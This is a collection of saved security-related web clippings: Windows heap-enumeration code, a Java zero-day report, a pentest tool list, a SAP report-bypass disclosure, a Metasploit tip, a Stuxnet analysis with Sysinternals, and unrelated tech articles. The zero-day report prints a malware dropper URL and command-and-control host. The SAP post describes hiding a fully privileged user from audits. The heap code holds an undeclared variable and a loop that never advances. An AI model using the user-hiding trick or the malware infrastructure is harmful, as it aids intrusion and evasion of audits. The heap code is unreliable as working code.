storing heaps during initialization and whenever heap32next is called, it can
just traverse the blocks to return the next valid heap block. Using the later
approach any large number of heaps can be enumerated in few seconds.  
Faster Heap Enumeration Method  
Based on above information found during my reverse engineering of Heap32Next
and several other heap functions, I wrote my own heap enumeration function
which is much more faster and efficient than using Windows heap functions.
Here are the complete details of the implementation  
  
To keep the code simple & readable, I have removed all error checking and
other unnecessary instructions.  
Various Structures Used in the Code  
| //Debug Buffer used by RtlCreateQueryDebugBuffer  
typedef struct \_DEBUG\_BUFFER  
\{  
HANDLE SectionHandle;  
PVOID SectionBase;  
PVOID RemoteSectionBase;  
ULONG SectionBaseDelta;  
HANDLE EventPairHandle;  
ULONG Unknown\[2\];  
HANDLE RemoteThreadHandle;  
ULONG InfoClassMask;  
ULONG SizeOfInfo;  
ULONG AllocatedSize;  
ULONG SectionSize;  
PVOID ModuleInformation;  
PVOID BackTraceInformation;  
PVOID HeapInformation;  
PVOID LockInformation;  
PVOID Reserved\[8\];  
\} DEBUG\_BUFFER, \*PDEBUG\_BUFFER;  
  
//This represents each heap node  
typedef struct \_DEBUG\_HEAP\_INFORMATION  
\{  
ULONG Base; // 0x00  
ULONG Flags; // 0x04  
USHORT Granularity; // 0x08  
USHORT Unknown; // 0x0A  
ULONG Allocated; // 0x0C  
ULONG Committed; // 0x10  
ULONG TagCount; // 0x14  
ULONG BlockCount; // 0x18  
ULONG Reserved\[7\]; // 0x1C  
PVOID Tags; // 0x38  
PVOID Blocks; // 0x3C  
\} DEBUG\_HEAP\_INFORMATION, \*PDEBUG\_HEAP\_INFORMATION;  
  
//Internal structure used to store heap block information.  
struct HeapBlock  
\{  
PVOID dwAddress;  
DWORD dwSize;  
DWORD dwFlags;  
ULONG reserved;  
\};  
---  
Enumerating Process Heap Nodes  
Here is the sample code demonstrating the traversing through all the heap
nodes of a process. It starts with creating debug buffer and then loading
entire process heaps using RtlQueryProcessDebugInformation function.Then it
enumerates through all the heap nodes and displays the relevant information.
At the end, internal buffer is destroyed.  
| void DisplayHeapNodes\(DWORD pid\)  
\{  
// Create debug buffer  
PDEBUG\_BUFFER db = RtlCreateQueryDebugBuffer\(0, FALSE\);  
  
// Get process heap data  
RtlQueryProcessDebugInformation\( pid, PDI\_HEAPS | PDI\_HEAP\_BLOCKS, db\);  
  
  
ULONG heapNodeCount = db->HeapInformation ? \*PULONG\(db->HeapInformation\):0;  
  
PDEBUG\_HEAP\_INFORMATION heapInfo = PDEBUG\_HEAP\_INFORMATION\(PULONG\(db->
HeapInformation\) + 1\);  
  
// Go through each of the heap nodes and dispaly the information  
for \(unsigned int i = 0; i < heapNodeCount; i++\)  
\{  
printf\("\n Base Address = 0x%.8x", heapInfo\[i\].Base\);  
printf\("\n Block count = %d", heapInfo\[i\].BlockCount\);  
printf\("\n Committed Size= 0x%.8x", heapInfo\[i\].Committed\);  
printf\("\n Allocated Size = 0x%.8x", heapInfo\[i\].Allocated\);  
printf\("\n Flags = 0x%.8x", heapInfo\[i\].Flags\);  
\}  
  
// Clean up the buffer  
RtlDestroyQueryDebugBuffer\( db \);  
\}  
  
---  
Enumerating Heap Blocks within a Node  
The code below illustrates the enumerating heap blocks within the specified
node for the process.  
| void DisplayHeapBlocks\(DWORD pid, DWORD nodeAddress\)  
\{  
HeapBlock hb =\{0,0,0,0\};  
  
// Create debug buffer  
PDEBUG\_BUFFER db = RtlCreateQueryDebugBuffer\(0, FALSE\);  
  
// Get process heap data  
LONG ret = RtlQueryProcessDebugInformation\( pid, PDI\_HEAPS | PDI\_HEAP\_BLOCKS, db\);  
  
ULONG heapNodeCount = db->HeapInformation ? \*PULONG\(db->HeapInformation\) :
0;  
  
PDEBUG\_HEAP\_INFORMATION heapInfo =
PDEBUG\_HEAP\_INFORMATION\(PULONG\(db->HeapInformation\) + 1\);  
  
// Go through each of the heap nodes  
for \(unsigned int i = 0; i < heapNodeCount; i++\)  
\{  
if\(heapInfo\[i\].Base == nodeAddress\)  
\{  
// Now enumerate all blocks within this heap node...  
int c = 0;  
memset\(&hb,0,sizeof\(hb\)\);  
  
if\( GetFirstHeapBlock\(&heapInfo\[i\] , &hb\) \)  
\{  
do  
\{  
printf\("\n Block count = %d", c+1\);  
printf\("\n Block address = 0x%.8x", hb.dwAddress\);  
printf\("\n Block Size = 0x%.8x", hb.dwSize\);  
  
if\( hb.dwFlags == LF32\_FREE \)  
printf\("\n Status = Free"\);  
else  
printf\("\n Status = Allocated"\);  
  
c++;  
\}  
while\( GetNextHeapBlock\( &heapInfo\[i\], &hb\) \);  
\}  
break;  
\}  
\}  
  
// Clean up the buffer  
RtlDestroyQueryDebugBuffer\( db \);  
\}  
---  
This function initialize heaps and then traverses through all the heap nodes
to find the specified heap node. Next it enumerates all the heap blocks within
this node using GetFirstHeapBlock & GetNextHeapBlock functions and displays
the information.  
| BOOL GetFirstHeapBlock\( PDEBUG\_HEAP\_INFORMATION curHeapNode, HeapBlock
\*hb\)  
\{  
int \*block;  
  
hb->reserved = 0;  
hb->dwAddress = 0;  
hb->dwFlags = 0;  
  
block = \(int\*\) curHeapNode->Blocks;  
  
while\( \( \*\(block+1\) & 2 \) == 2 \)  
\{  
hb->reserved++;  
hb->dwAddress = \(void \*\) \( \*\(block+3\) + curHeapNode->Granularity \);  
block = block+4;  
hb->dwSize = \*block;  
\}  
  
// Update the flags...  
USHORT flags = \*\(block+1\);  
  
if\( \( flags & 0xF1 \) \!= 0 || \( flags & 0x0200 \) \!= 0 \)  
hb->dwFlags = 1;  
else if\( \(flags & 0x20\) \!= 0 \)  
hb->dwFlags = 4;  
else if\( \(flags & 0x0100\) \!= 0 \)  
hb->dwFlags = 2;  
  
return TRUE;  
\}  
  
  
  
BOOL GetNextHeapBlock\( PDEBUG\_HEAP\_INFORMATION curHeapNode, HeapBlock
\*hb\)  
\{  
int \*block;  
  
hb->reserved++;  
block = \(int\*\) curHeapNode->Blocks;  
  
// Make it point to next block address entry  
block = block + hb->reserved \* 4;  
  
if\( \( \*\(block+1\) & 2 \) == 2 \)  
\{  
do  
\{  
// new address = curBlockAddress + Granularity ;  
hb->dwAddress = \(void \*\) \( \*\(block+3\) + curHeapNode->Granularity \);  
  
// If all the blocks have been enumerated....exit  
if\( hb->reserved > curHeapNode->BlockCount\)  
return FALSE;  
  
hb->reserved++;  
blockAddress = block + 4; //move to next block  
hb->dwSize = \*block;  
\}  
while\( \( \*\(block+1\) & 2 \) == 2 \);  
\}  
else  
\{  
// New Address = prev Address + prev block size ;  
hb->dwAddress = \(void\*\) \( \(int\)hb->dwAddress + hb->dwSize \);  
hb->dwSize = \*block;  
\}  
  
// Update the flags...  
USHORT flags = \*\( block+1\);  
  
if\( \( flags & 0xF1 \) \!= 0 || \( flags & 0x0200 \) \!= 0 \)  
hb->dwFlags = 1;  
else if\( \(flags & 0x20\) \!= 0 \)  
hb->dwFlags = 4;  
else if\( \(flags & 0x0100\) \!= 0 \)  
hb->dwFlags = 2;  
  
return TRUE;  
\}  
---  
Much of the functionality for the above functions is derived from the assembly
code of Heap32First and Heap32Next functions.  
  
GetFirstHeapBlock returns the first valid heap block in the current heap node.
GetNextHeapBlock does the similar task to find next valid heap block.
Information about the previous heap block is stored in the HeapBlock structure
and it should not be modified by the caller.  
  
If you want to implement heap enumeration functionality in your project, then
you can use the following template.  
|  1\. InitHeap\(\)  
This will call RtlCreateQueryDebugBuffer & RtlQueryProcessDebugInformation to
initialize the process heap data.  
  
2\. GetHeapNode\(int index\)  
This function traverses the list of nodes and returns the node at specified
index.  
  
3\. GetFirstHeapBlock\(PDEBUG\_HEAP\_INFORMATION curHeapNode, HeapBlock \*hb\)  
Return the first valid heap block within the specified node.  
  
4\. GetNextHeapBlock\(PDEBUG\_HEAP\_INFORMATION curHeapNode, HeapBlock \*hb\)  
Return the next valid heap block within the specified node. HeapBlock will
contain the information about the previous heap block.  
  
5\. DestroyHeap\(\)  
This function invokes RtlDestroyQueryDebugBuffer to free the internal buffer.  
---  
Conclusion  
This article gives insight on implementation of Windows heap API functions and
explains reason for their slower execution. Then it presents a new way to
implement faster and efficient heap enumeration functionality.  
See Also  
Process Heap Viewer: Faster heap enumeration tool based on this article.  
NetShareMonitor: Monitor your file shares from intruders.  
Exposing the covert way to find the reference count of DLL.  
Uncovering hidden process on Windows system.  
Recover Windows password in seconds using Rainbow crack.

# Malware Intelligence Lab from FireEye - Research & Analysis of Zero-Day &
Advanced Targeted Threats:Zero-Day Season is Not Over Yet

**Created:**| _8/27/2012 7:50:01 AM_  
---|---  
**Updated:**| _8/27/2012 7:50:01 AM_  
**Author:**| __  
**Tags:**| _zeroday Malware-analysis_  
  

## Zero-Day Season is Not Over Yet

New Java zero-day vulnerability has been spotted in the wild. We have seen
this unpatched exploit being used in limited targeted attacks. Most of the
recent Java run-time environments i.e., JRE 1.7x are vulnerable. In my lab
environment, I was able to successfully exploit my test machine against latest
version of FireFox with JRE version 1.7 update 6 installed.

<img src='img/6a00d835018afd53ef017c317aac83970b-650wi' alt='Exploit' />

Initial exploit is hosted on a domain named ok.XXX4.net. Currently this domain
is resolving to an IP address in China. Attacker web site is fully functional
at the time of writing this article i.e., on August 26, 2012.

<img src='img/6a00d835018afd53ef01761771b963970c-650wi' alt='Jar' />

A successful exploit attempt can result in a dropper \(Dropper.MsPMs\) getting
installed on infected systems. The dropper executable is located on the same
server.

http://ok.XXX4.net/meeting/hi.exe

Dropper.MsPMs further talks to its own CnC domain hello.icon.pk which is
currently resolving to an IP address 223.25.233.244 located in Singapore.

<img src='img/6a00d835018afd53ef017744583242970d-650wi' alt='Callback' />

  
  
  
  

It's just a matter of time that a POC will be released and other bad guys will
get hold of this exploit as well. It will be interesting to see when Oracle
plans for a patch, until then most of the Java users are at the mercy of this
exploit. Our investigation is not over yet; more details will be shared on a
periodic basis.

# BindShell.Net: Tools

**Created:**| _7/23/2009 11:07:52 AM_  
---|---  
**Updated:**| _7/23/2009 11:08:03 AM_  
**Author:**| __  
**Tags:**| _security tools_  
  

# Tools

BeEF

    
<img src='img/Temp2_1037.gif' />BeEF is the browser exploitation framework.
Its purposes in life is to provide an easily integratable framework to
demonstrate the impact of browser and cross-site scripting issues in real-
time. The modular structure has focused on making module development a trivial
process with the intelligence existing within BeEF. Some of the basic
functionality includes Keylogging and Clipboard Theft.

Become

    
<img src='img/Temp2_1043.gif' />The become utility changes the current
effective, or real, user and group identity to those specified on the command
line. The default shell \(/bin/sh\) is then executed.  
UID and GID are specified numercially and do not have to be currently defined
on the system.  
Lots of fun when playing around with other peoples NFS exports.

Coder

    
<img src='img/Temp2_1053.gif' />A windows utility to encode and decode various
encoding schemes. Currently supports Base64, Hex, HTTP URL Encoding and MD5.

Dnetj

    
<img src='img/Temp2_1046.gif' />Dnetj is a distributed client/server version
of John the ripper.  
It is operated in much the same way as distributed.net or setiathome, but is
designed to crack password hash files.

ETrace

    
<img src='img/Temp2_1038.gif' />ETrace is a configurable static port network
tracing tool, similar to traceroute, but supporting ICMP, TCP, UDP and other
IP protocols.

Echo Mirage

    
<img src='img/Temp2_1050.gif' />Echo Mirage is a generic network proxy. It
uses DLL injection and function hooking techniques to redirect network related
function calls so that data transmitted and received by local applications can
be observed and modified.

GenIP

    
<img src='img/Temp2_1044.gif' />IA small utility, based on the NMap target
specification code, for quickly and easily generating lists of IP addresses.

ICMPScan

    
<img src='img/Temp2_1048.gif' />Does what it says on the tin: Scans the
specified address, or addresses, for ICMP responses. Handles echo \(type 8\),
timestamp \(type 13\), address mask \(type 17\), information \(type 15\) and
router solicitation \(type 10\) requests.

John The Ripper MPI Patch

    
<img src='img/Temp2_1052.gif' />This is an updated version of Ryan Lim's patch
for john the ripper to support MPI, in addition to a large number of third
party patches to support additional ciphers and such.

Kismet Parse

    
<img src='img/Temp2_1054.gif' />kismet-parse is a script for parsing kismet
network \(log\) files. It is aimed at performing post sniffing analysis of
results. This tool displays information about the MAC addresses discovered.

MassResolve

    
<img src='img/Temp2_1051.gif' />This program performs multi-threaded reverse
DNS lookups. It can be passed a netblock or a file of IP addresses to process.

ObexSend

    
<img src='img/Temp2_1045.gif' />ObexSend is a simple command line tool to
transfer a file via OBEX FTP to a device with a Bluetooth interface. It
requires the user to specify the MAC address of the desination device, the
OBEX FTP channel and the name of the file to send.

Odysseus

    
<img src='img/Temp2_1047.gif' />Odysseus is a proxy server, which acts as a
man-in-the-middle during an HTTP session. A typical HTTP proxy will relay
packets to and from a client browser and a web server. Odysseus will intercept
an HTTP session's data in either direction and give the user the ability to
alter the data before transmission.

RFIDTool

    
<img src='img/Temp2_1039.gif' />RFIDtool has been designed to perform atomic
tasks on RFID tags. This focus allows for the tool to be easily incorporated
into scripts to acheive more complex and useful tasks. One example is to load
RFID tags with varying data depending up their storage size.

SSLCat

    
<img src='img/Temp2_1041.gif' />SSLCat is a netcat like utility with SSL
support. SSLCat is a simple Unix utility that reads and writes data across an
SSL enable network connection.

SSLCat accepts a hostname and optional port number \(443 is used if none is
specified\) and attempts to form a SSLv2 connection to the specified host. If
all goes well, data is read from stdin and sent across the encrypted
connection, while incoming data from the encrypted connection is sent to
stdout.

Screen Shooter

    
<img src='img/Temp2_1040.gif' />A windows utility to simplifies taking screen
shots of either the currently focused window or the entire desktop. Screen
Shooter uses configurable hot keys hot keys and supports Bitmap, GIF, JPEG,
PNG and TIF image formats.

SynScan

    
<img src='img/Temp2_1042.gif' />A quick half-open portscanner. This tool will
send TCP packets with the SYN flag set at the destination address. SynScan
will send traffic as fast as the host network interface can support.

Telemachus

    
<img src='img/Temp2_1049.gif' />A companion utility for Odysseus allowing
further analysis and manipulation of HTTP transactions.

# Canonical Livepatch Service | Ubuntu
**Created:**| _1/2/2019 6:42:22 PM_  
---|---  
**Updated:**| _1/2/2019 6:42:22 PM_  
**Author:**| __  
**Tags:**| __  
  

  

# Canonical Livepatch Service

## Apply critical kernel patches without rebooting.

  * Fixes are applied automatically, without restarting your system
  * Reduces downtime, keeping your Ubuntu LTS systems secure and compliant
  * Included as part of all Ubuntu Advantage support packages

# hguenther/smtlib2 - GitHub

**Created:**| _1/31/2012 7:41:06 PM_  
---|---  
**Updated:**| _1/31/2012 7:41:18 PM_  
**Author:**| __  
**Tags:**| _haskell SMT_  
  

This library provides a pure haskell interface to many SMT solvers by
implementing the SMTLib2 language. SMT solving is done by spawning a SMT
solver process and communicating with it.

# Supported solvers

For the moment, only Z3 supports every feature implemented in this interface.
MathSAT implements most features. CVC is missing a machine-readable interface
to be usable.

# Positive Research Center: SAP's Backdoor

**Created:**| _8/9/2013 10:19:51 AM_  
---|---  
**Updated:**| _8/9/2013 10:19:51 AM_  
**Author:**| __  
**Tags:**| _backdoor sap Erp_  
  

# **S** AP's Backdoor****

SAP security research is one of my basic duties in Positive Technologies**.**
Moreover, I had to think of what I would speak about to the participants of
our PHDays III  forum**.** Thus, I came to the following subject of research:
how to hide a user with the SAP\_ALL profile \(i**.** e**.** all possible
authorizations\) in the system. If a malicious user manages to log in to the
system and get the authorization to create users and assign privileges to
them, then his next most probable step is to create a new account for himself,
of course with all authorizations in the system**.** However, this user is
listed in the results of internal checks and external audits, and there is
zero chance that a user with SAP\_ALL authorizations will not arouse any
interest**.**  
  
So, let's start. I considered two vectors of my research:

  1. To cheat reports checking user authorizations, that can be done using nested profiles, reference users, roles, profile copies, etc**.**
  2. If you ask a SAP specialist how to list users having some particular authorizations, he will advise to use transaction SUIM, Report RSUSR002, which are almost the same**.** Therefore, we have the following idea: based on analysis of ABAP code of Report RSUSR002 you should create a mechanism to bypass the report algorithm and hide the user**.**

The first vector is covered in my presentation; the second one will be
discussed below**.**  
  
So, let's have a look at the logics of the report**.** It is simple: you take
the list of all user accounts and check each user for the given
authorizations**.** If a user does not comply with the search criteria he is
deleted from the list**.** It seems very simple but... the following line
attracted our attention in the course of analysis:

<img src='img/Temp2_6285.png' />

A user with mysterious name '............' \(12 dots\) is removed from the
list**.** Let's check our assumption in practice. We will create a user with
the name consisting of 12 dots, assign him different roles and profiles, and
then check the report results**.** As we expected, there is no such username
in the report results**\!**  
  
It is interesting, why this was implemented by the SAP vendor**.** Actually, I
cannot answer this question. May be this user was created during generation of
EARLYWATCH reports and served some particular purpose in the system**?**..  
  
The following CVSS vector was formed for the vulnerability:  
  
CVSS Base Score: 4**.** 6  
CVSS Base Vector: AV:N/AC:H/AU:S/C:P/I:P/A:P  
  
As you can see, the severity level is not high, but it is distressing to know
that the vendor of the system, where you store and process all your critical
business data, has left such a back door which helps to conceal some specially
crafted users**.** What was in fact the purpose of that?  
  
Actually, the situation is not so bad**.** The patch fixing this vulnerability
was released in June 2013: see SAP Note 1844202**.** To fix the bug you have
to download the patch and implement it in your system**.**  
  
As you can see from the table below, the correction was released for all
existing SAP\_BASIS components starting from Release 46B**.** In other words,
if you have not updated your system yet, then this vulnerability will be for
sure in your system**.**

<img src='img/Temp2_6286.png' />

That's in fact all I wanted to tell**.** I recommend you to implement the Note
which was initiated by your humble servant :\)  
  
SAP Security note 1844202: https://service.sap.com/sap/support/notes/1844202  
  
P**.** S. Slides from PHDays:  
  
  
_Author: Dmitry Gutsko, Positive Research**.**_  
  
****

# Metasploit: Using Kernel.load to speed up exploit dev

**Created:**| _5/21/2011 9:51:18 AM_  
---|---  
**Updated:**| _5/21/2011 9:51:27 AM_  
**Author:**| __  
**Tags:**| _Exploit Metasploit kernel_  
  

## Friday, May 20, 2011

### Using Kernel.load to speed up exploit dev

When modifying Metasploit library code, you generally need to restart
msfconsole to see the changes take effect. Although we've made some
improvements in startup time, it's still not great, and waiting for the whole
framework to load for a one-line change can be frustrating. Fortunately, Ruby
has a simple way to reload a file: Kernel.load. Here's a simple example of how
to use it:  
  

[code]

      
    ##  
    # $Id$  
    ##  
      
    load "./lib/rex/proto/my_new_protocol.rb"  
    load "./lib/msf/core/exploit/my_new_protocol.rb"  
      
    require 'msf/core'  
      
    class Metasploit3 < Msf::Exploit::Remote  
      include Msf::Exploit::Remote::MyNewProtocol  
      def initialize(info={})  
        super(update_info(info,  
          'Name' => "My New Protocol Exploit",  
          'Description' => %q{ Exploits something in My New Protocol },  
          # ...  
        ))  
      end  
      def exploit  
        MyNewProtocol.frobnicate(datastore["RHOST"])  
      end  
    end  
      
    
    
[/code]

  
  
If my\_new\_protocol.rb defines any constants, Ruby will warn that they are
being redefined. Generally this is harmless and you can ignore the warnings.  
  
This simple technique can greatly decrease development time and works equally
well when writing your own lib or modifying an existing one. When you're done
with the exploit, simply replace the `load` lines with appropriate `require`s
and send us a patch\!

# Zero-sized heap allocations vulnerability analysis

**Created:**| _8/13/2010 11:50:54 AM_  
---|---  
**Updated:**| _8/13/2010 11:51:15 AM_  
**Author:**| __  
**Tags:**| _windows security Exploit windows environment awesome Heap_  
  
<img src='img/Temp2_10009' />

# MOSIX distributions

**Created:**| _1/31/2013 2:49:51 PM_  
---|---  
**Updated:**| _1/31/2013 2:49:51 PM_  
**Author:**| __  
**Tags:**| _bookmark Linux cloud computing distributed cluster_  
  

  * Provides a **single-system image.**
  * **Automatic resource discovery.**
  * **Dynamic workload distribution.**
  * **Automatic load-balancing.**
  * **Direct communication** between migrated processes. 
  * Migrated \(guest\) processes run in a **sandbox.**

|

  * **Live queuing, batch jobs, checkpoints.**
  * Supports the **64-bit X86** architecture. 
  * Automatic **installation and configuration.**
  * On-line **monitors.**
  * Can be combined with  VCL to create a cluster with multiple OpenCL devices. 

  
---|---

# Preparing for nonvolatile RAM \[LWN.net\]

**Created:**| _6/28/2012 8:21:48 AM_  
---|---  
**Updated:**| _6/28/2012 8:21:48 AM_  
**Author:**| __  
**Tags:**| _Memory forensics cold-boot_  
  

# Preparing for nonvolatile RAM

By **Jonathan Corbet**  
May 23, 2012  Once upon a time, your editor had a job that involved working
with a Data General Nova system. The Nova had an interesting characteristic:
since it contained true core memory, the contents of that memory would persist
across a reboot—or a power-down. So the end-of-day shutdown procedure was a
simple matter of turning the machine off; when it was turned on the next
morning, it would simply continue where it was before. There were no
complaints about system boot time with that machine. The replacement of core
memory with silicon-based RAM brought a lot of nice advantages, but the
nonvolatile nature was lost on the way. But it appears that nonvolatile memory
may be about to make a comeback, bringing some interesting development
problems with it.  Matthew Wilcox raised the issue, noting that nonvolatile
memory \(NVM\) is coming, that it promises bandwidth and latency numbers
similar to those offered by dynamic RAM, and that, being cheaper than DRAM, it
is likely to be offered in larger sizes than DRAM is. He later disclaimed any
resemblance between this description and any future products to be offered by
his employer; it is, he says, simply where the industry is going. Given that,
it would be a good idea for the kernel community to be ready for this
technology when it arrives.  One part of being ready is figuring out how to
deal with nonvolatile memory within the kernel. The suggested approach was to
use a filesystem:  We think the appropriate way to present directly
addressable NVM to in-kernel users is through a filesystem. Different
technologies may want to use different filesystems, or maybe some forms of
directly addressable NVM will want to use the same filesystem as each other.
A filesystem approach would allow the association of names with regions of NVM
space; an API was then proposed to allow the kernel to perform tasks like
mapping regions of NVM into the kernel's address space.  One question that
came up quickly was: won't the use of the filesystem model slow things down?
There is a lot of overhead in the block layer, which was not designed to deal
with "storage" that operates at full memory bandwidth. Matthew was never
thinking of bringing in the full block layer, though; instead, he said: "I'm
hoping that filesystem developers will indicate enthusiasm for moving to new
APIs." Such enthusiasm was in short supply in this discussion; that is
probably more indicative of a lack of thought about the problem than any sort
of active opposition \(which was also in short supply\).  James Bottomley,
though, questioned the filesystem idea, suggesting that NVM should be treated
like memory. He said that the way to access NVM might be through the kernel's
normal memory APIs, with nonvolatility just being another attribute of
interest. One could imagine calling `kmalloc()` with a new `GFP_NONVOLATILE`
flag, for example. The only problem with this approach is that it is not
enough to request an arbitrary nonvolatile region; callers will usually want a
_specific_ NVM region that, presumably, contains data from a previous use. So
the memory API would have to be extended with some sort of namespace giving
reliable access to persistent data. To many, that namespace looks like a
filesystem; James suggested using 32-bit keys like the SYSV shared memory
mechanism does, but admirers of SYSV IPC tend to be scarce indeed on linux-
kernel.  So, while there are a lot of details to be worked out, some sort of
name-based kernel API seems certain to come about. Then there will be a
mechanism, either through the memory-related or filesystem-related system
calls, to make NVM available to user space. But that leads to another, perhaps
harder question: what, then, do we do with all that fast, nonvolatile memory?
Some of it, certainly, could be used for caching; technologies like bcache
could make good use of it. The page cache could go there; Matthew suggested
that the inode cache might be another possibility. Both could speed booting
considerably, though it would be necessary to somehow validate the cache
contents against filesystems that could have changed while the system was
down. Boaz Harrosh suggested that filesystems could store their journals in
that space, speeding journal access and reducing journal I/O load on the
underlying storage devices. He also mentioned checkpointing the system to NVM,
allowing for quick recovery should the system go down unexpectedly. Vyacheslav
Dubeyko had some wilder ideas about how NVM could eliminate system bootstrap
entirely and make the concept of filesystems obsolete; instead, everything
would just live in a persistent object environment.  Clearly, many of these
ideas are going to take some time to come to fruition. Nonvolatile memory
changes things in fundamental ways; Linux may have to scramble to keep up,
but, then, that is a high-quality problem to have. It will be most interesting
to watch how this plays out over the coming years.  
---

# Speeding Up Lua Script Execution in ModSecurity | Pure Hacking
**Created:**| _11/17/2011 7:34:28 PM_  
---|---  
**Updated:**| _11/17/2011 7:34:28 PM_  
**Author:**| __  
**Tags:**| _scripting lua apache_  
  

# Speeding Up Lua Script Execution in ModSecurity

Often when implementing customised ModSecurity solutions we need to extend the
built-in functionality via Lua scripting. One of the disadvantages to this
approach is the added latency penalty paid for not using the native rules
language. When web site performance is critical for business continuity, every
additional millesecond counts. The current trunk code fixes a long-standing
limitation where ModSecurity needed to create a new VM for each request, which
added latency every time a Lua script was executed. By combining the new Lua
VM implementation along with replacing the Lua interperter with LuaJIT we can
enjoy a significant speed increase in script execution.To measure the speed
difference we will test with a simple script used to generate a random token
as part of a predictable session token patch. The code is below:

[code]

    #!/usr/bin/lua
    
    function main()
    
      -- Create random cookie value
      local ip = m.getvar("REMOTE_ADDR")
      local md5 = require "md5"
    
      math.randomseed( os.time() )
      randomtoken = md5.sumhexa(ip .. math.random())
      m.log(3, "RandomToken: " .. randomtoken);
      m.setvar("TX.token", randomtoken);
      return 1
    end
    
[/code]

If we run this script 1000 times via the ModSecurity 2.6.2 engine, the script
takes an average of 616 microseconds to run, as shown below:

[code]

    lab@lab:~$ for i in `seq 1 1000`; do wget -qO /dev/null http://localhost/; done
    
    lab@lab:~$ let sum=0;for duration in 
    $(grep "Script completed in " /opt/modsecurity/var/log/debug.log|
    cut -d " " -f 8); {  let sum=$sum+$duration; };
    let average=$sum/1000;echo $average
    **616**
    
[/code]

As noted above we can significantly increase the speed execution by using the
latest engine from trunk along with using LuaJIT instead of the regular Lua
shared library. The good news is setting this up is simple. As noted here as
of Lua 5.1 "LuaJIT is also fully ABI-compatible to Lua 5.1 at the
linker/dynamic loader level. This means you can compile a C module against the
standard Lua headers and load the same shared library from either Lua or
LuaJIT." In other words, all we need to do to use LuaJIT with ModSecurity is
to load the LuaJIT shared library in the Apache ModSecurity module
configuration. On a Debian Sid based system this looks like:

[code]

    lab@lab:~$ cat /etc/apache2/mods-enabled/modsecurity.load 
    # Load libxml2
    LoadFile /usr/lib/libxml2.so
    # Load Lua
    **LoadFile /usr/lib/x86_64-linux-gnu/libluajit-5.1.so.2.0.0**
    # Finally, load ModSecurity
    LoadModule security2_module /opt/modsecurity/bin/mod_security2.so
    
[/code]

With these changes we will run the same script again and compare the results.

[code]

    lab@lab:~$ echo " " >/opt/modsecurity/var/log/debug.log 
    lab@lab:~$ for i in `seq 1 1000`; do wget -qO /dev/null http://localhost/; done
    lab@lab:~$ let sum=0;for duration in 
    $(grep "Script completed in " /opt/modsecurity/var/log/debug.log|
    cut -d " " -f 8); {  let sum=$sum+$duration; };
    let average=$sum/1000;echo $average
    **112**
    
[/code]

As you can see the script execution went from 616 microseconds down to 112
microseconds. While the example script we used here was simplistic and added
little overhead to begin with, with the changes described above more complex
Lua scripts can be run with greater efficiency.

# Analyzing a Stuxnet Infection with the Sysinternals Tools, Part 2 - Mark's
Blog - Site Home - TechNet Blogs

**Created:**| _4/21/2011 10:10:31 AM_  
---|---  
**Updated:**| _4/21/2011 10:10:31 AM_  
**Author:**| __  
**Tags:**| _Malware-analysis windows environment_  
  

### Analyzing a Stuxnet Infection with the Sysinternals Tools, Part 2

<img src='img/Temp2_715.jpg' /> Mark Russinovich

20 Apr 2011 1:00 AM

  * 10

In Part 1 I began my investigation of an example infection of the infamous
Stuxnet worm with the Sysinternals tools. I used Process Explorer, Autoruns
and VMMap for a post-infection survey of the system. Autoruns quickly revealed
the heart of Stuxnet, two device drivers named Mrxcls.sys and Mrxnet.sys, and
it turned out that disabling those drivers and rebooting is all that’s
necessary to disable Stuxnet \(barring a reinfection\). With Process Explorer
and VMMap we saw that Stuxnet injected code into various system processes and
created processes running system executables to serve as additional hosts for
its payload. By the end of the post I had gotten as far as I could with a
snapshot-based view of the infection, however. In this post I continue the
investigation by analyzing the Process Monitor log I captured during the
infection to gain deeper insight into Stuxnet’s impact on an infected system
and how it operates \(incidentally, if you like these blog posts,
cybersecurity, and books by Tom Clancy and Michael Crichton, be sure to check
out my new cyberthriller, Zero Day\).

### Filtering to Find Relevant Events

Process Monitor captured around 30,000 events while monitoring the infection,
which is an overwhelming number of events to individually inspect for clues.
Most of the trace actually consists of background Windows activity and
operations related to Explorer navigating to a new folder and are not directly
related to the infection. Because by default Process Monitor excludes advanced
events \(paging file, internals IRP functions, System process and NTFS
metadata operations\), as the status bar indicates, Process Monitor is still
showing over 10,000:

<img src='http://blogs.technet.com/cfs-file.ashx/__key/CommunityServer-Blogs-
Components-
WeblogFiles/00-00-00-52-36-metablogapi/3823.image_5F00_thumb_5F00_6B55AF88.png'
width='244' height='111' alt='image' />

The key to using Process Monitor effectively when you don’t know what exactly
you’re looking for is to narrow the amount of data to something manageable.
Filters are a powerful way to do that and Process Monitor has a filter tailor
made for these kinds of scenarios: a filter that excludes all events except
ones that modify files or registry keys. You can configure this filter,
“Category is Write then Include,” using the Filter dialog:

<img src='http://blogs.technet.com/cfs-file.ashx/__key/CommunityServer-Blogs-
Components-
WeblogFiles/00-00-00-52-36-metablogapi/2620.SNAGHTML32d6f75_5F00_thumb_5F00_73D6C62E.png'
width='404' height='254' alt='SNAGHTML32d6f75' />

Events generated by the System process are typically not relevant in
troubleshooting cases, but I know that Stuxnet has kernel-mode components, so
to be thorough I had to include events executed in the context of the System
process, which is the process in which some device drivers execute system
threads. You can remove the default filters by checking the Enable Advanced
Output option on the filter menu, but I didn’t want to remove the other
default filters that omit pagefile and NTFS metadata operations, so I removed
just the System exclusion filter \(the second one in the above filter list\).
The event count was down to 600:

<img src='http://blogs.technet.com/cfs-file.ashx/__key/CommunityServer-Blogs-
Components-
WeblogFiles/00-00-00-52-36-metablogapi/3022.image_5F00_thumb_5F00_3021D3BD.png'
width='244' height='82' alt='image' />

The next step was to exclude events I knew weren’t related to the infection.
Recognizing irrelevant events takes experience because it requires familiarity
with typical Windows activity. For example, the first few hundred events of
the remaining operations consisted of Explorer referencing values under the
HKCU\Software\Microsoft\Windows\ShellNoRoam\BagsMRU registry key:

<img src='http://blogs.technet.com/cfs-file.ashx/__key/CommunityServer-Blogs-
Components-
WeblogFiles/00-00-00-52-36-metablogapi/6562.image_5F00_thumb_5F00_3ADF2B12.png'
width='454' height='132' alt='image' />

This key is where Explorer stores state for its windows, so I could exclude
them. I did so by using Process Monitor’s “quick filters” feature: I right-
clicked on one of the registry paths to bring up the quick filter context
menu, and selected the Exclude filter:

<img src='http://blogs.technet.com/cfs-file.ashx/__key/CommunityServer-Blogs-
Components-
WeblogFiles/00-00-00-52-36-metablogapi/6560.image_5F00_thumb_5F00_68604AD5.png'
width='404' height='167' alt='image' />

Because I want to exclude any references to the key’s subkey’s or values, I
opened the newly created filter, double-clicked on it to move it to the filter
editor and changed “is” to “begins with”:

